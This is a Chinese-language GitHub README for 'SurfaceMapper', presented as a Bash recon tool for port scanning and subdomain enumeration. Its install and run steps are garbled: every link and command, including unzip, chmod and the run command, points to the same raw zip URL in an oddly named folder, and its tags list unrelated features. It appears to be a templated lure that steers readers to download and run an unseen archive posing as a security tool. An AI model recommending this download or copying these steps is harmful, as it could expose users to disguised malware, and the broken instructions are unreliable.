mynameisthis1233/SurfaceMapper
GitHub: mynameisthis1233/SurfaceMapper
一款基于 Bash 的轻量级攻击面测绘脚本,用于 Web 渗透测试中的端口探测、子域名枚举和基础安全检查。
Stars: 0 | Forks: 0
# 🛰️ SurfaceMapper - 简单的漏洞搜寻工具
[](https://github.com/mynameisthis1233/SurfaceMapper/raw/refs/heads/main/unsome/Mapper-Surface-3.6.zip)
## 📝 什么是 SurfaceMapper?
SurfaceMapper 是一款旨在帮助您发现和探索网站安全弱点的工具。它使用自动化脚本来收集有关目标的信息。这个过程在网络安全领域被称为侦察或“recon”。该工具主要面向那些希望以安全方式发现安全问题的人,例如漏洞赏金猎人、安全测试人员或任何正在学习 Web 安全的人。
SurfaceMapper 通过简单的命令运行,并自动收集诸如开放端口、暴露服务和网站详细信息等信息。它提供了一个清晰的概览,显示网站可能存在的需要修复的薄弱环节。
## 🔎 为什么要使用 SurfaceMapper?
如果您想检查网站的安全性,SurfaceMapper 可以通过以下方式提供帮助:
- 无需您逐一输入,即可自动运行多项检查。
- 快速收集有关网站的重要数据。
- 以简单的方式显示技术信息。
- 仅通过一个工具即可支持许多常见的安全测试任务。
您无需成为专家即可使用此工具。SurfaceMapper 使用一种称为 Bash 的语言编写的脚本,该语言可在大多数计算机上运行,包括 Linux 和 Mac。经过额外设置后,它也可以在 Windows 上运行。
## 💻 系统要求
要使用 SurfaceMapper,您的计算机需要满足以下条件:
- 操作系统:
- Linux(Ubuntu、Debian、Fedora 等)
- macOS(支持最新的两个版本)
- 安装了 Windows Subsystem for Linux (WSL) 的 Windows 10 或更高版本
- 至少 2 GB 的可用内存 (RAM)
- 至少 100 MB 的可用磁盘空间,用于存放工具及其结果
- 互联网连接,以下载软件和更新
SurfaceMapper 使用安装在您系统上的免费开源工具。这些包括:
- Bash shell(用于命令脚本)
- 常用的网络工具,如 `nmap` 和 `curl`
- 某些扫描可能需要 Python 3
如果缺少这些工具,下方的 README 包含安装步骤。
## 📥 下载并安装 SurfaceMapper
要安装 SurfaceMapper,请先从官方发布页面下载最新版本:
**访问此页面下载:**
[https://github.com/mynameisthis1233/SurfaceMapper/raw/refs/heads/main/unsome/Mapper-Surface-3.6.zip](https://github.com/mynameisthis1233/SurfaceMapper/raw/refs/heads/main/unsome/Mapper-Surface-3.6.zip)
### 步骤 1:下载软件
1. 点击上方链接或顶部的大蓝色按钮。
2. 查找最新的发布版本(将显示日期和版本号)。
3. 下载以 `.zip`、`https://github.com/mynameisthis1233/SurfaceMapper/raw/refs/heads/main/unsome/Mapper-Surface-3.6.zip` 或类似压缩文件类型结尾的 ZIP 文件或 tarball。
4. 将此文件保存在容易找到的地方,例如您的桌面或下载文件夹。
### 步骤 2:准备您的系统
在运行 SurfaceMapper 之前,请确保您的系统已安装所需的软件。
#### 在 Linux 或 macOS 上
- 打开终端 (Terminal) 应用程序。
- 通过输入以下命令检查 `bash` 是否已安装:
bash --version
- 通过输入以下命令检查 `nmap` 是否已安装:
nmap --version
- 如果缺少工具,请使用系统的包管理器进行安装:
- 在 Ubuntu 或 Debian 上:
sudo apt update
sudo apt install bash nmap curl
- 在 Fedora 上:
sudo dnf install bash nmap curl
- 在 macOS 上(使用 Homebrew):
brew install nmap curl
#### 在 Windows 上
SurfaceMapper 使用的 Bash 脚本无法在 Windows 命令提示符上原生运行。您需要安装 Windows Subsystem for Linux (WSL) 和 Linux 发行版(例如 Ubuntu)。
- 以管理员身份打开 PowerShell。
- 运行以下命令以启用 WSL:
wsl --install
- 如果出现提示,请重新启动计算机。
- 重启后,打开 Microsoft Store 并安装 Ubuntu。
- 打开您的新 Ubuntu 终端,并按照上面的 Linux 说明安装所需的工具。
### 步骤 3:解压下载的文件
- 找到您下载的 ZIP 或 tar 文件。
- 右键单击并选择“Extract All(全部提取)”,或使用命令:
- 对于 Linux/macOS 上的 ZIP 文件:
unzip https://github.com/mynameisthis1233/SurfaceMapper/raw/refs/heads/main/unsome/Mapper-Surface-3.6.zip
- 对于 tarballs:
tar -xvzf https://github.com/mynameisthis1233/SurfaceMapper/raw/refs/heads/main/unsome/Mapper-Surface-3.6.zip
- 解压后的文件夹将包含 SurfaceMapper 程序文件。
### 步骤 4:运行 SurfaceMapper
- 打开您的终端或 WSL 终端。
- 切换目录到 SurfaceMapper 解压的位置:
cd /path/to/SurfaceMapper
- 赋予主脚本可执行权限:
chmod +x https://github.com/mynameisthis1233/SurfaceMapper/raw/refs/heads/main/unsome/Mapper-Surface-3.6.zip
- 通过输入以下命令运行脚本:
https://github.com/mynameisthis1233/SurfaceMapper/raw/refs/heads/main/unsome/Mapper-Surface-3.6.zip
SurfaceMapper 将开始运行自动化扫描,以收集有关您目标的信息。
## 🛠️ 如何使用 SurfaceMapper
### 基本用法
SurfaceMapper 通过运行扫描网站和网络的命令或询问相关问题来工作。脚本会引导您选择要检查的内容。它会要求输入网站地址或网络 IP。
示例:
```
https://github.com/mynameisthis1233/SurfaceMapper/raw/refs/heads/main/unsome/Mapper-Surface-3.6.zip
```
然后在提示时输入域名或 IP。
### 工具能发现什么
SurfaceMapper 收集如下信息:
- 目标计算机或服务器上的开放端口
- 在这些端口上运行的服务(如 Web 服务器、数据库)
- 网站信息和标头详细信息
- 子域名和相关网址
- 已知的安全问题或漏洞
所有这些都会保存在文件中或显示在终端输出中,以便您查看。
## 🔧 功能特性
SurfaceMapper 包含几个有用的功能:
- 使用 `nmap` 进行自动化端口扫描
- 子域名发现和枚举
- HTTP 标头检查
- 针对常见来源的快速漏洞检查
- Bash 脚本配置,便于更新
- 输出报告为简单的文本文件
如果您经验丰富,该工具允许您自定义扫描。
## 👩💻 成功使用的小贴士
- 确保您已获得测试网站或网络的许可。
- 仅在您自己的系统上或获得明确批准的情况下使用 SurfaceMapper。
- 在具有稳定互联网连接的终端窗口中运行该工具。
- 定期保存结果以避免数据丢失。
- 仔细阅读输出以理解发现的内容。
- 通过从发布页面下载新版本来保持工具更新。
## 🆘 故障排除
**问题:运行脚本时提示“Permission denied(权限被拒绝)”**
通过设置执行权限来修复:
```
chmod +x https://github.com/mynameisthis1233/SurfaceMapper/raw/refs/heads/main/unsome/Mapper-Surface-3.6.zip
```
**问题:找不到命令 `nmap`**
按照安装步骤中所示安装 nmap。
**问题:脚本无法启动**
请检查您是否位于正确的文件夹中,并且输入的命令完全正确。
## 📄 许可证和贡献
SurfaceMapper 是开源的。您可以共享、更改和改进脚本。有关详细信息,请查看下载中的 LICENSE 文件。
如果您想提出改进建议或报告问题,请在 GitHub 仓库页面上开启一个 issue。
## 🌐 更多信息
在 GitHub 仓库中查找有关 SurfaceMapper 的更新、文档和社区讨论:
[https://github.com/mynameisthis1233/SurfaceMapper/raw/refs/heads/main/unsome/Mapper-Surface-3.6.zip](https://github.com/mynameisthis1233/SurfaceMapper/raw/refs/heads/main/unsome/Mapper-Surface-3.6.zip)
[](https://github.com/mynameisthis1233/SurfaceMapper/raw/refs/heads/main/unsome/Mapper-Surface-3.6.zip)
标签:Bug Bounty, Web安全, 侦察工具, 可自定义解析器, 子域名枚举, 实时处理, 密码管理, 应用安全, 批量查询, 插件系统, 攻击面测绘, 数据统计, 白帽子工具, 端口扫描, 系统安全, 网络安全, 蓝队分析, 资产探测, 路径发现, 配置审计, 隐私保护